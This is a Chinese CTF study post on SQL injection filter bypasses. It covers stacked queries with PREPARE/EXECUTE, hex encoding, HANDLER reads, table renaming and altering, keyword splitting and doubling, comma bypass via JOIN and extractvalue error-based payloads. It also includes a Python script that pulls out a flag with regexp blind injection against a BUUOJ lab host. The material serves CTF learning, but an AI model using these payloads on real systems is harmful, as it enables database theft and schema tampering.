当前位置: 首页 > news >正文

SQL注入目录【绕过+布尔时间脚本】

常见绕过方式

过滤掉select

利用show爆出表名,列名

1';show databases;#
1';show tables;#
1';show columns from 表名;#

接下来有四种方法查询列(以强网杯随便注为例,查询表名为1919810931114514中的flag列):

注意使用 ` ` 包裹全是数字的表名

方法一:PREPARE预处理语句

构造

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

其中 PREPARE 语句:

用于创建一个预处理语句(将 SQL 语句模板化),它允许在执行 SQL 之前先进行预编译,然后可以通过传递参数来多次高效地执行这个预编译后的语句。

EXECUTE语句:执行之前通过 PREPARE 语句创建好的预处理语句对象。在这里就是执行名为 test 的那个包含了查询 1919810931114514 表所有数据的预处理语句

这样把select这个单词拆开,就可以使用select的查询功能,进而拿到flag

方法二:rename

1'; rename table words to word1; 
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key; 
alter table words change flag data varchar(100);# 

方法三:十六进制编码绕过

将语句

select * from 1919810931114514 

用十六进制编码得到73656c656374202a2066726f6d20603139313938313039333131313435313460

然后构建(前面手动加上0x)

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

其中SET语句:
在 MySQL 中,用户自定义变量以@符号开头,这里是@a。这里将用户自定义变量@a的值设置为十六进制编码。

PREPARE 语句:
用于创建一个预处理语句对象。它会将 @a 变量中存储的内容(也就是刚才经过十六进制转换后实际为 select * from 1919810931114514``` 的 SQL 语句)进行预编译,并给这个预编译后的语句对象命名为 execsql 。

然后再用EXECUTE语句执行这条预编译语句
就能利用十六进制编码绕过

方法四

 构建

1'; handler 1919810931114514 open as a; handler a read next;# 

 整体思路应该就是用handler打开一个表并取一个别名,再用handler x read next来打开这个别名,读取里面的信息,读取这个别名应该就不会存在关键词过滤的情况?

过滤掉order by

通过SELECT NULL来判断 id=1 SELECT NULL,NULL,NULL

过滤掉=/过滤空格

用like来替代,用()将内容包裹起来

1'or(1)like(1)# 
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e)))#

过滤关键字

分割关键字

sel<>ect

sel/**/ect

双写绕过

例题:[极客大挑战 2019]BabySQL

当提交username为1' order by 3 #时,发现过滤了 or 和 by

此时用双写绕过

1'oorrder bbyy 3 #

大小写绕过

一般不行

过滤掉逗号

利用join方法绕过

比如说本来是

union select 1,2,3

 join语句

union select * from (select 1)a join (select 2)b join (select 3)

过滤掉substr()【在报错注入中出现】

使用right或者regexp

right:1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))#

regexp:regexp 是 SQL 中的*正则表达式匹配运算符*

import requests  #requests 模块用于发送 HTTP 请求,与目标服务器进行交互。
import time      #time 模块用于添加延迟,避免请求过于频繁导致服务器拒绝。
#去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
#未写停止判断,当判断到strings最后一位且flag未在其中时停止即可
strings = 'abcdefghijklmnopqrstuvwxyz1234567890{}-_~' #定义了可能出现在 flag 中的字符集
i = 1
flag = ''  #flag 用于存储已经猜测到的部分 flag,初始为空字符串。
while i < 80:
    for one_char in strings:
        one_char = flag + one_char#先把已经猜好的和新遍历的字符拼接起来
        url = "http://4538af48-5b3e-451e-b6bf-565049f2caab.node4.buuoj.cn:81/check.php?username=12&password=1%27or%28extractvalue%281%2Cconcat%280x7e%2C%28select%28password%29from%28H4rDsq1%29where%28password%29regexp%28%27%5E"+str(one_char)+"%27%29%29%2C0x7e%29%29%29%23"
        #将one_char转换成字符串,以这个新猜的字符串为开头看看能不能匹配上真正的flag
        #如果能匹配上,它会返回匹配上的flag{xxxxxxxx}
        #(因为本意是查询有没有符合条件的字符串),所以回显的文本里会有flag字样
        time.sleep(0.05) #暂停 0.05 秒,避免请求过于频繁。
        rs = requests.get(url)
        if 'flag' in rs.text:   #如果响应文本中包含 'flag',说明当前猜测的部分 flag 是正确的,
            flag = one_char
            print("\r", end="") #\r回车
            print('flag为:' + flag, end='')
            break

提交1,-1,0,a只有1会回显,即只有非零数字才能回显

联想到 || +强制类型转换

BUU7 [SUCTF 2019]EasySQL1-CSDN博客

解法1--利用PIPES_AS_CONCAT函数

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag 

此时获得的是1和flag列拼接以后的结果,所以这个1填什么数字都行 

解法2--利用非预期漏洞 

1;select *,1

此时嵌入代码中就是 select 1;select *,1||flag from Flag,这里因为||解读不清楚的原因,可能会查询两个语句,即从Flag表格中select * 和 select 1||flag ,因为1||flag 结果为1,所以前一个查询结果返回flag的具体内容,后一个是返回查询1的内容(就是 [1] => 1 )

union联合查询伪造数据

BUU28 [GXYCTF2019]BabySQli1【如何判断Base34/Base32】【联合查询返回虚拟数据】-CSDN博客

布尔盲注 

[极客大挑战 2019]FinalSQL【SQL布尔盲注】-CSDN博客

相关文章:

  • 【从零开始学习计算机科学】计算机组成原理(六)异常事件处理
  • Manus无需邀请码即可使用的平替方案-OpenManus实测
  • 利用FatJar彻底解决Jar包冲突(一)
  • 【系统设计架构师】特定领域软件体系结构
  • MyBatis Mapper 接口的作用,以及如何将 Mapper 接口与 SQL 映射文件关联起来
  • 周鸿祎开始补录网安岗了
  • 2022IJCAI速读:SparseTT,使用稀疏Transformers进行视觉跟踪
  • EngineerCMS完整版发布,带freecad、math和mapus例子
  • es6+新增特性有哪些
  • DeepSeek 助力 Vue3 开发:打造丝滑的表格(Table)之功能优化,添加列宽调整功能Table12
  • 二分查找(递归和迭代)– Python
  • 我想写日记了
  • 新能源汽车充电综合解决方案:安科瑞电气助力绿色出行
  • 第二章:C++标准库
  • C++11新特性 11.基于范围的for循环
  • deepseek在pycharm中的配置和简单应用
  • ThinkPhp 5 安装阿里云内容安全(绿化)
  • DeepLabv3+改进6:在主干网络中添加SegNext_Attention|助力涨点
  • Pycharm 取消拼写错误检查(Typo:in word xxx)
  • 【后端开发面试题】每日 3 题(九)
  • 甘肃省白银市一煤矿发生透水事故,3人失联
  • 交通运输局男子与两名女子办婚礼?官方通报:未登记结婚,开除该男子
  • 首届巴塞尔艺术奖公布:大卫·哈蒙斯、曹斐等36人获奖
  • 秦洪看盘|小市值股领涨,A股交易情绪复苏
  • 海南省检察院专委李思阳被带走,去年曾遭人举报违规插手案件
  • 中方是否担忧美国主权信用评级下调?外交部:美国应采取负责任的政策措施